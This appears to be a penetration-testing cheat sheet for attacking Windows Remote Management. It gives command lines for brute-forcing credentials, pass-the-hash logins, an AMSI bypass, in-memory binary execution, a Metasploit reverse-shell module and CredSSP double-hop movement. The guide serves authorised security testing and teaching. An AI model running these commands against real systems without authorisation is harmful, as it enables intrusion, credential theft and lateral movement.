5985 & 5986 - WinRM (Windows Remote Management)

Default Ports: 5985 (HTTP), 5986 (HTTPS) WinRM is Windows’ native remote management protocol, built on PowerShell remoting rather than a graphical session like RDP. In enterprise environments it’s frequently enabled right alongside RDP, or even in its place for admin-only hosts, and getting a WinRM shell means you land directly in PowerShell, with all the tooling that implies, rather than a bare cmd.exe.

Interactive Shell

A live PowerShell session on the target, via evil-winrm or Enter-PSSession. The default choice for hands-on post-exploitation.

Invoke-Command

Runs a script block remotely without an interactive session, useful for scripting the same action across many hosts at once.

WinRM being open is itself a strong signal: it means the account you’re testing is a local administrator or has been explicitly delegated remoting rights, by default only Administrators can use it.

Connecting

evil-winrm
winrs
PowerShell (Enter-PSSession)

The standard tool for this service, built specifically for WinRM pentesting.

evil-winrm -i TARGET -u USER -p 'PASSWORD'
evil-winrm -i TARGET -u USER -H NTHASH          # pass-the-hash
evil-winrm -i TARGET -u USER -p 'PASSWORD' -S     # over HTTPS (port 5986)

Loading custom PowerShell scripts from a local folder at connect time saves re-uploading them every session:

evil-winrm -i TARGET -u USER -p 'PASSWORD' -s /path/to/scripts

Built into Windows, no extra tooling needed when working from a Windows attack box.

winrs -r:http://TARGET:5985 -u:USER -p:PASSWORD "whoami"
winrs -r:http://TARGET:5985 -u:USER -p:PASSWORD cmd      # interactive-ish shell

$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Authentication Negotiate -Credential $cred

For running a single command without a full interactive session:

Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }

Recon

nmap -A TARGET -p5985,5986

A raw request to the /wsman endpoint confirms the service is really WinRM, worth checking in a browser or with curl before anything else:

curl http://TARGET:5985/wsman

Visiting http://TARGET:5985/wsman directly in a browser is often the fastest confirmation that WinRM is actually listening and worth pursuing, before running any tool against it.

Brute Forcing

netexec winrm TARGET -u USER -p PASSWORD_LIST

hydra -L username.list -P password.list TARGET http-get /wsman -s 5985

use auxiliary/scanner/winrm/winrm_login
set RHOSTS TARGET
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Command Execution Without a Full Shell

Once you have valid credentials, both NetExec and Invoke-Command can run a single command without dropping into an interactive session, useful for quick checks across several hosts.

crackmapexec winrm TARGET -u administrator -p PASSWORD -x "whoami"

Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami; hostname }

Useful evil-winrm Commands

Once connected, these built-in commands cover file transfer and common evasion without needing to upload separate tools.

Command	Description
`upload LOCAL REMOTE`	Upload a file to the target
`download REMOTE LOCAL`	Download a file from the target
`menu`	List every built-in command available
`services`	List Windows services
`Bypass-4MSI`	Attempt an AMSI bypass for the session
`Invoke-Binary PATH`	Execute a local .NET binary entirely in memory on the target

Metasploit Modules

use exploit/windows/winrm/winrm_script_exec     # get a reverse shell via WinRM
set RHOSTS TARGET
set USERNAME USER
set PASSWORD PASSWORD
run

CredSSP and Multi-Hop Sessions

By default, credentials used in a WinRM session can’t be reused to authenticate onward to a third host from inside that session, a protection against credential relay. CredSSP exists specifically to bypass that limitation when it’s genuinely needed for legitimate multi-hop administration, and it’s worth checking for since it directly enables double-hop attacks.

Enable-WSManCredSSP -Role Client -DelegateComputer TARGET
$cred = Get-Credential
Invoke-Command -ComputerName TARGET -Credential $cred -Authentication CredSSP -ScriptBlock {
  Invoke-Command -ComputerName SECOND_TARGET -ScriptBlock { hostname }
}

Quick Reference Tools

Hackviser: WinRM

Quick-reference pentesting guide for the WinRM service.

HackTricks: WinRM

Deeper breakdown of WinRM enumeration and exploitation techniques.

evil-winrm

The standard WinRM shell tool used throughout this page.

A WinRM shell runs with the privileges of whichever account authenticated, usually a local admin. Treat access the same as any other admin-level compromise: confirm scope before credential dumping, persistence, or lateral movement.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

5985 & 5986 - WinRM (Windows Remote Management)

Interactive Shell

Invoke-Command

Connecting

Recon

Brute Forcing

Command Execution Without a Full Shell

Useful evil-winrm Commands

Metasploit Modules

CredSSP and Multi-Hop Sessions

Quick Reference Tools

Hackviser: WinRM

HackTricks: WinRM

evil-winrm

Interactive Shell

Invoke-Command

​Connecting

​Recon

​Brute Forcing

​Command Execution Without a Full Shell

​Useful evil-winrm Commands

​Metasploit Modules

​CredSSP and Multi-Hop Sessions

​Quick Reference Tools

Hackviser: WinRM

HackTricks: WinRM

evil-winrm

Connecting

Recon

Brute Forcing

Command Execution Without a Full Shell

Useful evil-winrm Commands

Metasploit Modules

CredSSP and Multi-Hop Sessions

Quick Reference Tools